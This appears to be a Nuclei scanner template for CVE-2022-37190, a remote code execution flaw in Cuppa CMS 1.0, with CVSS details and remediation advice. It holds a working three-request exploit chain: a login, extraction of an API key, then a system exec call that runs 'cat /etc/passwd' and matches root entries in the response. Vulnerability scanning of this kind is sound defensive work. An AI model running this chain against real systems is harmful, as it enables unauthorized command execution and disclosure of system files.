id: CVE-2022-37190 info: name: Cuppa CMS v1.0 - Remote Code Execution author: theamanrawat severity: high description: | CuppaCMS 1.0 is vulnerable to Remote Code Execution (RCE). An authenticated user can control both parameters (action and function) from "/api/index.php. remediation: | Apply the latest security patch or update to a patched version of Cuppa CMS v1.0 to mitigate this vulnerability. reference: - https://github.com/CuppaCMS/CuppaCMS - https://nvd.nist.gov/vuln/detail/CVE-2022-37190 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2022-37190 cwe-id: CWE-732 epss-score: 0.02018 epss-percentile: 0.87641 cpe: cpe:2.3:a:cuppacms:cuppacms:1.0:*:*:*:*:*:*:* metadata: verified: true max-request: 3 vendor: cuppacms product: cuppacms tags: cve,cve2022,rce,cuppa,authenticated http: - raw: - | POST / HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded user={{username}}&password={{password}}&language=en&task=login - | POST /components/table_manager/ HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded; charset=UTF-8 path=component%2Ftable_manager%2Fview%2Fcu_api_keys - | POST /api/index.php HTTP/1.1 Host: {{Hostname}} key: {{apikey}} Content-Type: application/x-www-form-urlencoded action=system&function=exec&cmd=cat+/etc/passwd cookie-reuse: true matchers-condition: and matchers: - type: word part: header_3 words: - "text/html" - type: regex regex: - "postgres:.*:1001:" - "root:.*:0:0:" - type: status status: - 200 extractors: - type: regex name: apikey group: 1 regex: - "(.*?)" internal: true # digest: 4a0a00473045022100abb886d80e194b68a9760040c96a611e387fccfff522687fc41fde36e2c1af0f02202e85b66615fad910d5d8b51a264e083b7ee826c94e8847bd346b00bb92e80c15:922c64590222798bb761d5b6d8e72950